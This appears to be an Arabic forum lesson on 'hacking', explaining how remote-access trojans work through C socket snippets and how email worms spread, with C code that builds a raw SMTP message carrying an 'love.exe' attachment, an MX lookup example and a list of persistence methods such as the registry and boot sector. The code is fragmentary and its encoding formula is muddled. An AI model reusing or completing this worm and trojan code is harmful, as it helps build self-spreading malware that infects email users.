الإختراق عن طريق ملفات التجسس

مرحبا...

أمن المعلومات من المواضيع المهمة في عالم الكمبيوتر وأعتقد أنة سيصبح أهم موضوع يشغل بال المهتمين

بالكمبيوتر في السنوات المقبلة والسبب تطور أساليب القرصنة وإتساع مجالها

قبل يومين تقريبا أردت تحديث نظام تشغيل لم أستخدمة منذ فترة وعندما بحثت عن التحديثات الجديدة

وجدت 60 تحديث جديد منهم 56 في الأمن؟؟ وطبعا هذا الذي تم إكتشافة في مدة سنة ونصف والذي لم يكتشف أعظم

على ماذا يدل هذا في رأيك بكل بساطة يدل على كارثة تهدد كل من يعتمد على الكمبيوتر في تجارة

أو صناعة أو معلومات والدليل قبل فترة بسيطة خسائر موقع جوجل ملايين الدولارات لأنة أعتمد

على التقنية وفتح مزاد علني على الإنترنت.

ما يهمنا من هذة المقدمة أنا الشغلة خطيرة و معقدة وحيرت الخبراء ولكن كيف

كما تعودنا دائما نبدأ من الأسهل ثم الأعقد وسيكون الشرح بالترتيب التالي:



الإختراق عن طريق ملفات التجسس (كيف تعمل ملفات التجسس)

الإختراق عن طريق فايروسات البريد(كيف تعمل فايروسات البريد)

الإختراق عن طريق ثغرات الأنظمة ( كيف تخترق الأنظمة)

الإختراق عن طريق تقنيات الإتصالات السلكية والاسلكية (إصطياد المعلومات)



أولا: ملفات التجسس

هذة الطريقة أسهل طريقة وأشهر طريقة والمعروفة عند أغلب الأعضاء

وتتم كالتالي

إرسال الخادم إلى الضحية - الإتصال بالخادم - إرسال المعلومات للخادم

ولكني سأخرج عن الروتين المتبع في شرح الإختراق وسأشرح كيف تعمل هذة البرامج

الخادم

بكل بساطة الخادم عبارة عن برنامج يفتح منفذ في الجهاز لتلقي الأوامر من برنامج خارجي لتنفيذها على الجهاز

فمثلا لفتح السيدي برنامج الإختراق يرسل معلومة إلى الخادم أي معلومة يحددها المبرمج ولتكن

0xAA

ويتم إرسالها بالطريقة التالية
send(s,(char*)0xAA,1,0);


وعندما يستقبلها الخادم يقارن ما هي التعليمة وينفذ الكود المطلوب بهذة الطريقة
DWORD cmd;
char rcv[10];
recv(s,rcv,10,0);
sscanf(rcv,"%X",&cmd);

switch(cmd)
{
......
......
case 0xAA:
mciSendString("set cdaudio door open",szbuf,255,hwnd);
break;
....
....
}


والي أريد أوصلة إن برنامج الإختراق لا ينفذ أي شيء وإنما الخادم بة كل دوال التنفيذ ولذالك تجد الخادم أكبر في الحجم

فكرة الخادم عن طريق الدوال

listen
recv


فكرة برنامج الإختراق عن طريق الدوال

connect
send


وللزيادة فكرة محرر الخادم

CreateFileMapping
MapViewOfFile


أعتقد هذا الموضوع يحتاج مثال وسأضع مثال لبرنامج تجسس إذا وافق المشرفين عن المنتدى

وثاني شيء لا نريد التعمق في هذا الموضوع لأنة من المواضع القديمة جداا

وخلونا نواكب العصر ونهتم بالجديد في عالم الهكر

ثانيا: فايروسات البريد

وهي أكثر الفايروسات إنتشارا في العالم لأنها ذكية وذاتية الإنتشار

لتشريح هذا النوع من الفايروسات لازم نأخذة من عدة نواحي

كيف ينشر نفسة و كيف يشغل نفسة بنفسة

طريقة إنتشارة

بعد ما يصمم المبرمج هذا الفايروس يقوم من مكان مجهول بإرسال هذا الفايروس إلى عدد من الإيميلات

وبعدة ينسى أمرة لأن الفايروس سيقوم بنشر نفسة

عندما يشغل أي مستخدم الفايروس بعد أن يستقبلة من البريد تحدث أمور كثيرة

أول ماظهرت هذة الفايروسات كانت تقوم بعمل واحد البحث عن عنواين البريد في الجهاز الضحية

إما أن تكون في دفتر العناوين أو في برنامج البريد وبعدها يرسل نفسة إلى هذة العناوين

وبعد فترة تطورت هذة الفايروسات وصارت طريقة عملها بهذا الشكل

يقوم الفايروس بالبحث عن العناوين في سيرفرات مشهورة مثل

سيرفر الشات أو سيرفر البريد أو قوائم البريد في بعض المواقع

ولكن كيف يقوم بالبحث وإرسال نفسة وكيف يعرف بروتوكولات البريد؟

smpt,pop3

الجواب

لو نرجع لدراست الشبكات والبروتوكولات لوجدنا موضوع مهم نظام أسماء المجالات

DNS

ينقسم هذا المجال لعدة أقسام ما يهمنا في هذا الدرس هو قسم

MX

ومعناة تبادل الرسائل

Mail Exchange

هذا القسم عبارة عن عناوين تبادل الرسائل في سيرفر البريد

لو نلاحظ موقع ياهو يحتوي سجل تبادل الرسائل على العناوين التالية

-------------------------------------------------------------------

yahoo.com MX preference = 1, mail exchanger = mx2.mail.yahoo.c
yahoo.com MX preference = 5, mail exchanger = mx4.mail.yahoo.c
yahoo.com MX preference = 1, mail exchanger = mx1.mail.yahoo.c

yahoo.com nameserver = ns1.yahoo.com
yahoo.com nameserver = ns2.yahoo.com
yahoo.com nameserver = ns3.yahoo.com
yahoo.com nameserver = ns4.yahoo.com
yahoo.com nameserver = ns5.yahoo.com
mx2.mail.yahoo.com internet address = 64.156.215.5
mx2.mail.yahoo.com internet address = 64.156.215.6
mx4.mail.yahoo.com internet address = 216.136.129.15
mx4.mail.yahoo.com internet address = 66.218.86.254
mx4.mail.yahoo.com internet address = 216.136.129.17
mx4.mail.yahoo.com internet address = 66.218.86.253
mx4.mail.yahoo.com internet address = 216.136.129.18
mx1.mail.yahoo.com internet address = 64.157.4.82
mx1.mail.yahoo.com internet address = 64.157.4.83
mx1.mail.yahoo.com internet address = 64.157.4.84
mx1.mail.yahoo.com internet address = 64.156.215.5
ns1.yahoo.com internet address = 66.218.71.63
ns2.yahoo.com internet address = 66.163.169.170
ns3.yahoo.com internet address = 217.12.4.104
ns4.yahoo.com internet address = 63.250.206.138
ns5.yahoo.com internet address = 64.58.77.85
-----------------------------------------------------------------------------------------

بمعنى أن هذة العناوين

mx1.mail.yahoo.com

mx2.mail.yahoo.com

mx3.mail.yahoo.com

mx4.mail.yahoo.com

عناوين السيرفر الذي يقوم بتبادل الرسائل

وتستطيع عرض سجل البريد لأي موقع عن طريق برنامج الدوس وبهذة الطريقة

nslookup mx yahoo.com

وبعد أن يقوم الفايروس بإظهار عنوان السيرفر يرسل نفسة

أول شيء يقوم بة بناء رسالة تحتوي على ملف مرفق بهذة الطريقة

char szRcv[MAX_PATH]

//// HELO
strcpy(szRcv,"HELO Yahoo\r\n");
send(sct,szRcv,strlen(szRcv),0);
recv(sct,szRcv,MAX_PATH,0);

// MAIL FROM:
strcpy(szRcv,"MAIL FROM: <from@yahoo.com>\r\n");
send(sct,szRcv,strlen(szRcv),0);
recv(sct,szRcv,MAX_PATH,0);

//// RCPT TO:
strcpy(szRcv,"RCPT TO: <to@yahoo.com>\r\n");
send(sct,szRcv,strlen(szRcv),0);
recv(sct,szRcv,MAX_PATH,0);

//// DATA
strcpy(szRcv,"DATA\r\n");
send(sct,szRcv,strlen(szRcv),0);
recv(sct,szRcv,MAX_PATH,0);
----------------------------------------
//Build Mail
ZeroMemory(szRcv,MAX_PATH);
strcpy(szRcv,"From: from@yahoo.com\r\nTo: to@yahoo.com\r\nDate: 2004\r\nSubject: Ilove You\r\n");

strcpy(BualdMsg,szRcv);
strcat(BualdMsg,"Rq-Mail: WC Mail\r\n");
strcat(BualdMsg,"MIME-Version: 1.0\r\n");
strcat(BualdMsg,"Content-Type: multipart/mixed; boundary=WC_MAIL_PaRt_BoUnDaRy_5168011\r\n\n");
strcat(BualdMsg,"This is a multi-part message in MIME format.\r\n\n");
//
strcat(BualdMsg,"--WC_MAIL_PaRt_BoUnDaRy_5168011\r\n");
strcat(BualdMsg,"Content-Type: text/plain\r\n");
strcat(BualdMsg,"Content-Transfer-Encoding: 7Bit\r\n\n");
strcat(BualdMsg,"body mail\r\n");

//
strcat(BualdMsg,"--WC_MAIL_PaRt_BoUnDaRy_5168011\r\n");
strcat(BualdMsg,"Content-Type:application/octet-stream; file=love.exe\r\n");
strcat(BualdMsg,"Content-Transfer-Encoding: base64\r\n");
strcat(BualdMsg,"Content-Disposition: attachment; filename=love.exe\r\n\n");
strcat(BualdMsg,"EXE Code");
strcat(BualdMsg,"\r\n\n");
strcat(BualdMsg,"--WC_MAIL_PaRt_BoUnDaRy_5168011--\r\n");

strcat(BualdMsg,"\r\n.\r\n");

//Send File
send(sct,BualdMsg,strlen(BualdMsg),0);
recv(sct,szRcv,MAX_PATH,0);



ولكن يجب أن تنتبة لهذة الكلمة في الكود

EXE Code

هذا الكلمة توضع مكانها شفرة الفايروس بعد التشفير

ويتم تشفير الملف بعدة طرق وقانون التشفير هو

Code<<= 8;
Code |= (indexCode & 0xff);
Code += 8;


وبعدها يتم الإرسال

هذة بكل بساطة دورة تكاثر الفايروس وإنتشارة

أما عن طريقة تشغيل نفسة فالمسألة بسيطة جدا

عن طريق

الريجستري

عن طريق ملفات التأسيس

كتابة نفسة في مقدمة البرامج

كتابة نفسة في قطاع الإقلاع في القرص الصلب



هذة الطرق في الإختراق لا تعتبر مشكلة وقد وجد لها حلول قد

تكون مفيدة والهدف من شرحها أن تكون مقدمة للدروس القادمة

التي ستتعلم بعدها أمور يجهلها الكثييير في الأمن والحماية ولا يوجد لها حلول إلى وقتنا الحالي

وإنتظرو للموضوع بقية

----------------------

أي إستفسار عن الدرس السابق تفضل بكتابتة

---------------------

هذا والله أعلم
0